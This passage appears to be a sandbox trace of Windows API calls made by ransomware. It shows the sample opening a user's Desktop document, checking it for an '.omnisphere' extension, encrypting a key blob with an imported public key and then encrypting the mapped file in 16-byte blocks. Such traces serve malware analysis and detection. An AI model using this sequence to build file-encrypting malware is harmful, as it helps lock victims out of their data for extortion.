0x1600000 [0163.607] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x60) returned 0x1691be0 [0163.607] PathCombineW (in: pszDest=0x1691be0, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="FbEeBr9puYmz.odt" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\FbEeBr9puYmz.odt") returned="C:\\Users\\FD1HVy\\Desktop\\FbEeBr9puYmz.odt" [0163.607] StrStrW (lpFirst=".omnisphere", lpSrch=".odt") returned 0x0 [0163.607] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\FbEeBr9puYmz.odt" (normalized: "c:\\users\\fd1hvy\\desktop\\fbeebr9puymz.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0163.608] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x3e0ebbc | out: lpFileSize=0x3e0ebbc*=18444) returned 1 [0163.608] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x42e8, lpNewFilePointer=0x0, dwMoveMethod=0x3e0ebb0 | out: lpNewFilePointer=0x0) returned 1 [0163.608] ReadFile (in: hFile=0x39c, lpBuffer=0x3e0e664, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0ebac, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesRead=0x3e0ebac*=0x524, lpOverlapped=0x0) returned 1 [0163.608] GetTickCount () returned 0x1168a07 [0163.608] GetTickCount () returned 0x1168a07 [0163.608] GetTickCount () returned 0x1168a07 [0163.608] GetTickCount () returned 0x1168a07 [0163.608] GetTickCount () returned 0x1168a07 [0163.608] GetTickCount () returned 0x1168a07 [0163.608] GetTickCount () returned 0x1168a07 [0163.608] GetTickCount () returned 0x1168a07 [0163.608] GetTickCount () returned 0x1168a07 [0163.608] GetTickCount () returned 0x1168a07 [0163.608] GetTickCount () returned 0x1168a07 [0163.608] GetTickCount () returned 0x1168a07 [0163.608] GetTickCount () returned 0x1168a07 [0163.608] GetTickCount () returned 0x1168a07 [0163.608] GetTickCount () returned 0x1168a07 [0163.608] GetTickCount () returned 0x1168a07 [0163.608] GetTickCount () returned 0x1168a07 [0163.608] GetTickCount () returned 0x1168a07 [0163.608] GetTickCount () returned 0x1168a07 [0163.609] GetTickCount () returned 0x1168a07 [0163.609] GetTickCount () returned 0x1168a07 [0163.609] GetTickCount () returned 0x1168a07 [0163.609] GetTickCount () returned 0x1168a07 [0163.609] GetTickCount () returned 0x1168a07 [0163.609] GetTickCount () returned 0x1168a07 [0163.609] GetTickCount () returned 0x1168a07 [0163.609] GetTickCount () returned 0x1168a07 [0163.609] GetTickCount () returned 0x1168a07 [0163.609] GetTickCount () returned 0x1168a07 [0163.609] GetTickCount () returned 0x1168a07 [0163.609] GetTickCount () returned 0x1168a07 [0163.609] GetTickCount () returned 0x1168a07 [0163.609] CryptAcquireContextW (in: phProv=0x3e0e644, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0e644*=0x1668d68) returned 1 [0163.610] CryptImportKey (in: hProv=0x1668d68, pbData=0x3e0e5ac, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e650 | out: phKey=0x3e0e650*=0x1639868) returned 1 [0163.610] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0eafc*, pdwDataLen=0x3e0e640*=0x75, dwBufLen=0x80 | out: pbData=0x3e0eafc*, pdwDataLen=0x3e0e640*=0x80) returned 1 [0163.610] CryptDestroyKey (hKey=0x1639868) returned 1 [0163.610] CryptReleaseContext (hProv=0x1668d68, dwFlags=0x0) returned 1 [0163.610] CreateFileMappingW (hFile=0x39c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x480c, lpName=0x0) returned 0x380 [0163.610] MapViewOfFile (hFileMappingObject=0x380, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x480c) returned 0x1480000 [0163.610] CryptAcquireContextW (in: phProv=0x3e0e634, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0e634*=0x1668708) returned 1 [0163.611] CryptImportKey (in: hProv=0x1668708, pbData=0x3e0e5ec, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e644 | out: phKey=0x3e0e644*=0x1639768) returned 1 [0163.611] CryptSetKeyParam (hKey=0x1639768, dwParam=0x4, pbData=0x3e0e628*=0x2, dwFlags=0x0) returned 1 [0163.611] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0e630*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0e630*=0x10) returned 1 [0163.611] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.611] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.611] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.611] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.611] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.611] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.611] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.612] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.612] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.612] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.612] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.612] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.612] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.612] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.612] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.612] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.612] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.612] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.612] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.612] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.612] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.612] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.612] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.612] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.612] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.612] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.612] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.612] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.612] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.612] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.613] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.613] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.613] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.613] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.613] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.613] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.613] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.613] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.613] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.613] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.613] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.613] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.613] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.613] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.613] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.613] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.613] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.613] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.613] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.613] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.613] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.613] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.614] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.614] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.614] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.614] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.614] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.614] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.614] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.614] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.614] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.614] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.614] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.614] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.614] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.614] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.614] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.614] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.614] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.614] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.614] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.614] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.614] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.614] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.614] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.615] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.615] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.615] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.615] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.615] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.615] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.615] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.615] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.615] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.615] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.615] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.615] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.615] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.615] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.615] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, 